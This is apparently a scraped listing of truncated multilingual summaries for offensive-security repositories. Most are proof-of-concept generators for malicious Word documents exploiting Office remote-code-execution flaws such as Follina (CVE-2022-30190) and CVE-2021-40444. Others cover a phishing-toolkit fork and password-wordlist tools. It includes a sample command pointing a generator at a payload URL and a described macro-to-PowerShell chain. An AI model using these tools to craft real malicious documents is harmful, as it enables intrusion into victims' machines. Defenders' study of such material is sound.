Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Prueba de concepto por Nee Uso root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" Qué hace Crea un archivo de Word malicioso que apunta a la URL del payload que especifiques Aloja el payload predeterminado ubicado en la carpeta web La...

CVE-2023-21716_exploit

CVE-2023-21716exploit prueba del exploit para CVE-2023-21716 fuente: https://www.deepwatch.com/labs/poc-exploit-released-for-critical-windows-word-vulnerability-cve-2023-21716/...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx Generate .docx generate to exploit CVE-2021-40444 Microsoft Office Word Remote Code Execution 1. creeate blank docx file. 2. add "Bitmap Iamge" object in "Inert/Object" menu. Add Object...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Generador de docx malicioso para explotar Ejecución remota de código en Microsoft Office Word La creación de este script se basa en CVE-2021-40444 PoC de LockedByte y en el informe de Tothi Uso Primero modifica backup.html y reemplaza el payload de PowerShell...

WordPress Admin Word Count Column 2.2 - Local File Inclusion

The plugin does not validate the path parameter given to readfile, which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique. id:...

CVE-2018-8174

CVE-2018-8174 MS Word MS WordPad via IE VBS Engine RCE MS Word and MS WordPad RCE via IE VBS RCE https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript Save the index.html to webserver then use the python script to generate RTF Exploit Shellcode is static Down\Exec Putty.exe...

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 Este repositorio habla sobre Follina MSDT desde la perspectiva de Defender Índice Acerca de Cronología Entendiendo el exploit Lista de IOCs Estrategia de detección Pruebas e investigación Planes de mitigación Referencias Acerca de El error es una vulnerabilidad de ejecución...

gophish

Gophish 포크 ======= 이것은 Gophish: 오픈소스 피싱 툴킷 Gophish의 포크입니다. 새로운 기능 이 포크는 단일 고객을 대상으로 실제 피싱 캠페인을 실행하는 데 중점을 둡니다. 다음 기능이 추가되었습니다: 새 VPS에 완전히 구성된 Gophish 인스턴스를 자동으로 설정하는 스크립트. 이를 통해 각 고객마다 단일 VPS를 가질 수 있습니다. 이는 데이터 유출을 방지하는 데 도움이 되며, 캠페인이 완료된 후 VPS를 완전히 삭제할 수 있습니다. 랜딩 페이지를 HTTP 및 HTTPS 모두에서 실행 지원 HTT...

CVE-2022-30190

CVE 30190 Amine TITROFINE | 17 de diciembre de 2022 Follina CVE-2022-30190 es una vulnerabilidad de día cero de Microsoft Office descubierta recientemente. Es una vulnerabilidad de alta gravedad que los atacantes pueden aprovechar para ejecutar código remoto RCE. Se produce cuando se llama a MSDT...

lama

lama Lama, the application that does not mince words. Description Lama is a GNU Linux tool to generate a word list. The goal is to obtain a custom password dictionary to a particular target, whether physical or moral. It is therefore important that words in this list correspond to the target. Kee...

lama

lama Lama, 言葉を選ばないアプリケーション。 説明 Lamaは、単語リストを生成するGNU Linuxツールです。 目標は、物理的または道徳的な特定のターゲットに対して、カスタムパスワード辞書を取得することです。 したがって、このリストの単語がターゲットに対応することが重要です。 Lamaは複雑ではなく単純なパスワードリストを生成することに注意してください。目標は、遅くて網羅的ではなく、高速かつターゲット指向であることです。 コンパイル インストール make installはroot で実行する必要があることに注意してください。バイナリは/binに、設定ファイルは...

CVE-2017-8759-Exploit-sample

CVE-2017-8759-Exploit-sample 运行CVE-2017-8759漏洞利用样本。 漏洞利用流程： Word宏在Doc1.doc文件中运行。该宏通过wsdl下载一个格式错误的txt文件，这会触发WSDL解析器日志。然后解析日志导致运行mshta.exe，进而运行执行mspaint.exe的PowerShell命令。 测试方法： 在端口8080上运行一个Web服务器，并将文件exploit.txt和cmd.hta放在其根目录。例如：python3 -m http.server -127.0.0.1 8080 或者你可以使用python3 server.py...

wordlistgen

wordlistgen JavaScriptのエンドポイントを検索してターゲット固有のワードリストを生成し、他のツールでのファジング用にパラメータを追加します バージョン 1.0 インストール $ go get -u github.com/ethicalhackingplayground/wordlistgen $ go get github.com/003random/getJS ワードリストを生成 $ echo "https://www.twitter.com" | getJS -complete | ./wordlistgen -p params.txt -d...

Deathnote

Deathnote Proof of Concept of CVE-2022-30190 A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling...

CVE-2022-30190

CVE-2022-30190 Reproducción de Microsoft Office Word Rce CVE-2022-30190 Resumen de la vulnerabilidad Los archivos .docx de MS Office pueden contener referencias externas a objetos OLE como archivos HTML. Existe un escenario HTML que usa ms-msdt: para invocar la herramienta de diagnóstico msdt, la...

domain

Info Recon-ng and Alt-DNS are awesome. This script combines the power of these tools with the ability to run multiple domains within the same session. TLDR; I just want to do my subdomain discovery via ONE command and be done with it. Only 1 module needs an api key /api/googlesite find instructio...

CVE-2023-21716

CVE-2023-21716 Corruption du tas de la table des polices RTF de Microsoft Word https://twitter.com/jduck Une vulnérabilité dans wwlib de Microsoft Office permet à un attaquant d'exécuter du code à distance avec les privilèges de la victime qui ouvre un document RTF malveillant. L'attaquant peut...

Exploit-PoC-CVE-2021-40444-inject-ma-doc-vao-docx

CVE-2021-40444 PoC CVE-2021-40444 Microsoft Office Word 원격 코드 실행을 악용하는 악성 docx 생성기 이 스크립트는 실제 공격에 사용된 샘플938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx 파일에 대한 리버스 엔지니어링을 기반으로 제작되었습니다. 먼저 lcab을 설치해야 합니다 sudo apt-get install lcab 수동 재현 절차는 REPRODUCE.md를 확인하세요 생성된 cab이 작동하지 않으면...

CVE-2017-11882

Эксплойт CVE-2017-11882 Эксплойт CVE-2017-11882 принимает команду/код длиной до 17 тысяч байт. Для удаленного выполнения команд этот эксплойт вызывает WinExec с флагом SWHIDE и вызывает ExitProcess после возврата из WinExec. Для удаленного выполнения кода этот эксплойт просто переходит jmp на код...

CVE-2021-40444

완전 무장된 CVE-2021-40444 CVE-2021-40444 Microsoft Office Word 원격 코드 실행를 악용하는 악성 docx 생성기, 임의의 DLL 파일과 함께 작동합니다. 2022-05-31 업데이트 - CVE-2022-30190 - Follina 이제 생성기는 "Follina" 공격ms-msdt 활용을 악용하는 데 필요한 문서도 생성할 수 있습니다. 배경 이미 많은 PoC가 인터넷에 돌아다니고 있지만, 이 취약점을 무장화하는 데 도전해보기로 했습니다. 제가 찾은 자료들은 공유할 가치가 있는 중요한 정보...